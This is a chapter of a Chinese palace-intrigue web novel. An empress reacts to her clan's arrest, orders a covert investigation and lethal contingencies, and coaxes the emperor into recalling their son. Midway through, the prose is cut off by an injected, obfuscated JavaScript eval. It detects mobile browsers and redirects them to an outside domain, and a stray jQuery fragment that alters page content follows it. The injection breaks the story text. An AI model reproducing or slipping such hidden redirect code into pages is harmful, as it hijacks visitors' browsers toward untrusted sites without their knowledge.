案上的密信摊开着，刺得人眼生疼：“锦川胡家满门，昨夜已被当地知府下入大牢，罪名是‘意图刺杀官员，贪污银两数额巨大’。”


    皇后捏着信纸几乎要将那薄薄的纸页捏碎。


    “谁给的胆！”


    很多年，她没有这么愤怒了。


    她闭了闭眼，再睁开时，眼底的惊怒已凝作化不开的寒霜。


    玉门关胡氏……她在心底默念。


    这一支虽是旁脉，却握着她多年前埋下的眼睛，边关的风吹草动全靠胡国林传回来。按理说寻常风浪原也伤不了她的筋骨。但她真正悬心的，是那张画像，如若被人发现怕是要掀起滔天巨浪，届时纵是她，也难全身而退。


    “娘娘，喝口参茶暖暖吧。”贴身侍女云袖端着茶盏轻步进来，见皇后脸色沉得像块寒铁，声音便不自觉的压得比棉絮还轻，连脚步声都放得几乎听不见。


    皇后抬手一挡，掩不住语气里的戾气：“我胡氏一族，三十年间便随皇上征战，要钱出钱，要力出力，没有功劳也有苦劳！一个刚从翰林院出来的知府，居然敢动我胡家人？”


    云袖垂着眼，半句不敢接。


    她跟着皇后二十载，从潜邸到中宫，比谁都清楚胡家在娘娘心中的分量。


    当年皇上尚未登基，皇后还是侧妃时，胡家上上下下替皇上做了不少事。如今，外戚之名日渐显赫，近来屡屡引得皇上侧目，连带着朝臣也敢明里暗里地嚼舌根。


    “裴风……”皇后缓缓念出这个名字，眸色深得像口不见底的古井，“他是去年的探花郎？听说，是林丞相一手提拔的门生？”


    云袖忙点头，声音细若蚊蚋：“是，听说是林相力排众议，才将他从翰林院编修外调，放了锦川知府的缺。那锦川虽是西南重镇，却远离中枢，原是没人愿去的，没想到……”


    “没想到，他倒成了林丞相的一把好刀。”皇后冷笑一声。


    林丞相为官多年，眼里揉不下沙子，尤其看不得外戚专权，如今他竟把目光放到了她旁系身上。


    这哪里是冲胡家来的？分明是想借胡家做筏子，敲山震虎，动摇她的根基，顺便在皇上面前卖个“整顿外戚”的好。


    “娘娘，要不要……问问陛下？”云袖犹豫再三，还是试探着开口，话音刚落就暗自懊恼——这话问得实在多余。


    皇后果然摇了头，嘴角勾起一抹自嘲的弧度：“陛下近来正为西南战事烦忧，粮草军械日日催，林丞相又在一旁日日念叨‘后宫当避外戚，以安朝纲’。”


    “这时候去说情，反倒显得胡家有恃无恐，是我在背后撑腰。更何况，胡国林虽然在锦川多年，那西南重镇的兵权却很难渗入。一时半会也搞不清是什么样的形势，空口白牙地辩解，只会让陛下觉得她是在徇私护短，反倒坐实了“外戚干政”的话柄。”


    “那这事就这样放着？”


    “这事有蹊跷。”


    她站起身，走到窗边。


    宫墙外暮色沉沉，像块浸了浓墨的破布，正一点点吞掉最后一丝天光，连远处宫阙的飞檐都只剩模糊的剪影。


    “胡国林在边关浸淫三十年，做事向来滴水不漏，最是有分寸。这次事发得如此突然，连封传书密信都没有，这里头定是发生了变故。”


    她转过身，目光落在云袖身上，锐利如刀：“去把暗卫统领叫来。”


    云袖心头猛地一凛，忙应声“是”，转身时脚步都快了几分。


    暗卫营是皇后当年潜邸时便悄悄布下的势力，连皇上都不知晓其全貌，只供她与胡家家主处理那些见不得光的秘事，平日里从不轻易动用。如今要召统领，显然是动了真怒，要下狠手了。


    不多时，一个身着玄色劲装的男子悄无声息地出现在殿内，动作轻得像片落叶，单膝点地时竟没发出半分声响：“属下夜枭，参见娘娘。”


    “起来。”皇后走到案前，拿起那封密信，递了过去，“你自己看。”


    夜枭接过信，速读一遍，眉头瞬间拧起：“锦川距京城千里，裴风一个文官，刚到任不足半年，竟敢在此时对胡家动手，背后必有人指使，且势力不小。”


    “你说得对。”皇后颔首，声音冷酷，“我要你亲自去趟锦川，查三件事：第一，裴风拿出来的‘证据’是什么，从哪儿来的，是人证还是物证，有没有伪造的痕迹；第二，胡家被抓那晚，街坊邻里有没有目击者；第三，近来都有谁和裴风往来密切，有没有京城来的密使，或是加密的书信往来，特别是与林府的联系。”


    她顿了顿，声音更冷了几分：“记住，动静要小，别打草惊蛇。若查到实证，立刻用飞鸽传书传回京城。另外……”


    她语气稍缓，却藏着不易察觉的担忧，“想办法混进大牢，给胡国林递个信，问他到底是怎么回事，那东西……是否还稳妥。”


    “属下遵命。”夜枭将密信折好藏入怀中，又抬头问道，“娘娘，万一……胡国林那边扛不住刑讯，或是……有意叛变，需不需要……”他做了个抹脖子的手势，干净利落。


    皇后眼中寒光一闪，没有半分犹豫：“若他们撑不住，宁可让胡家满门在牢里‘意外身故’，也不能让那东西落入旁人手中。事后，便找由头弹劾裴风监管不力，草菅人命，叫他脱层皮。”


    她顿了顿，又补充道，“还有，叫衵岐国的人动一动，西南那边几个小村落，该‘走水’的走水，该‘被劫’的被劫，别让他们觉得，西南是个安生的地！否则，他们年年从本宫这里讨去的好处，就都别想要了！”


    “属下明白。”夜枭再次躬身，身影一晃消失在殿外，连窗棂都没动一下，仿佛从未出现过。


    殿内重归寂静，只剩下烛火跳动的噼啪声，映得墙上皇后的影子忽明忽暗，阴森叵测。


    “林炫清，裴风……”她低声念着这两个名字，眸中闪过一丝狠厉，“我胡氏的血，不是白流的。你们敢动我的人，我定要你们付出血的代价！”


    云袖端着重新温好的参茶进来，见皇后脸色露出几分疲惫，忙轻声劝道：“娘娘，夜深了，歇会儿吧。夜枭统领办事最是稳妥，定能查清真相的。”


    皇后转过身，接过茶盏，醇厚的暖意滑入喉咙，声音已恢复了平日的沉稳：“吩咐下去，明日一早，我要镇西公钟诺的所有资料，从他何时从军，打过哪些仗，麾下有哪些心腹将领，甚至……他平日里爱吃什么，爱喝什么，都要一一写清楚。”


    云袖愣了一下，随即反应过来。


    镇西公钟诺，那可是近来朝野上下都在议论的人物。传说他出身草莽，却天生神力，用兵如神，偏生长得又俊朗非凡，一双眼据说能看透人心。


    这次西南边关战事吃紧，正是皇上力排众议派他去救的急，结果他刚到任三个月，就连着打了三场胜仗，把敌军逼退了百里，才让皇上的火气消了些。娘娘这是……想从西南战事入手，拉拢镇西公


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232354|178854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？


    “是，奴婢这就去办，娘娘早些歇息。”云袖应声退下。


    第二日巳时，日头刚爬过宫墙，皇后已带着云袖往养心殿去。食盒里温着一盅参汤，是用长白山野山参炖了整夜的，汤色澄亮，飘着两朵枸杞，看着便温润滋补。


    进殿时，皇上正对着西南战事的奏报蹙眉，案上堆着厚厚一叠文书，砚台里的墨都快凝了。


    皇后放轻脚步，亲自将参汤舀进白瓷碗里，递到御前：“陛下连日操劳，喝口参汤歇歇吧。这参是上个月从大理国进贡的，说是能安神补气。”


    皇上抬眼，接过碗时指尖碰着瓷壁的温凉，眉头松了些：“还是你细心。”他呷了口汤，目光落回奏报上，“锦川那边的事，你听说了？”


    皇后心头一跳，面上却如常平静，垂眸道：“昨日听宫人提了句，说胡家旁支惹了官司。既是地方官府按律查办，自有公断，臣妾不敢多言。只是想着，陛下近来烦心战事，后宫若再不安生，反倒让陛下分心。”


    皇上“嗯”了一声，没再追问。


    皇后垂眸，声音放得极柔：“陛下还记得吗？今日是千羽的十八岁生辰。”


    皇上握着碗的手顿了顿，眼底掠过一丝复杂。浮千羽，是他与皇后的嫡子，当年出生时气息微弱，太医束手无策，恰逢云游的道士路过，说这孩子先天带煞，需在道观清修至二十岁，不见红尘纷扰才能保命。那时国本未稳，他咬着牙应了，这一送便是十八年。


    “自然记得。”皇上的声音沉了些，“上月道观来人说，他近来在观里抄经练字，身子硬朗了不少。”


    皇后抬眼，眸中凝着水汽，却强忍着没掉下来：“臣妾昨夜做了个梦，梦见千羽穿着道袍站在云端，说想娘了。”


    她吸了吸鼻子，声音发颤，“道士说要养至成年，可千羽这孩子……自小就怕黑，观里清苦，夜里只有一盏孤灯陪着他。


    如今他身子渐好，不如……就让他先回来吧？臣妾找个清静的宫苑安置他，不叫他沾半点朝堂事，只求能日日看着他平安。”


    她知道，皇上对这个儿子一直心存愧疚。当年为了稳住朝臣，不得已让同样出生不久的浮千楼顶替了浮千羽的位置，如今已经过去这么多年，物归原主的时候也该到了……


    皇上沉默了片刻，望着窗外的飞檐。十八岁，本该是在御书房跟着太傅读书，在演武场练骑射的年纪，他的儿子却只能在道观里敲钟焚香。


    “道士说过，未满二十岁回宫，恐有变数。”他终是犹豫。


    “变数哪有活生生的孩子重要？”皇后往前膝行半步，眼眶红了，“臣妾已让人查过，那道观的主持是当年看着千羽长大的，说他近来夜里总咳，怕是观里的寒气得的。陛下，千羽是您的骨血，也是臣妾的命啊！就算回来养在深宫里，不见外人，总比在那荒山野岭强。”


    她知道，此刻提锦川胡家的事只会引皇上反感，可千羽不同——这是他们之间最柔软的软肋。她算准了，皇上再铁石心肠，也抵不过父子天性。


    皇上看着皇后泛红的眼角，想起那个出生时只有猫崽般大小的婴孩，终是叹了口气，将碗放在案上：“罢了，你安排吧。找个离主宫远些的院子，对外只说二皇子修行回来，还需静养，闲杂人等不得打扰。其他的，等千楼回来再说吧。”


    皇后猛地抬头，眼中瞬间亮起来，重重叩首：“谢陛下！臣妾定当妥当安置，绝不让陛下烦心！”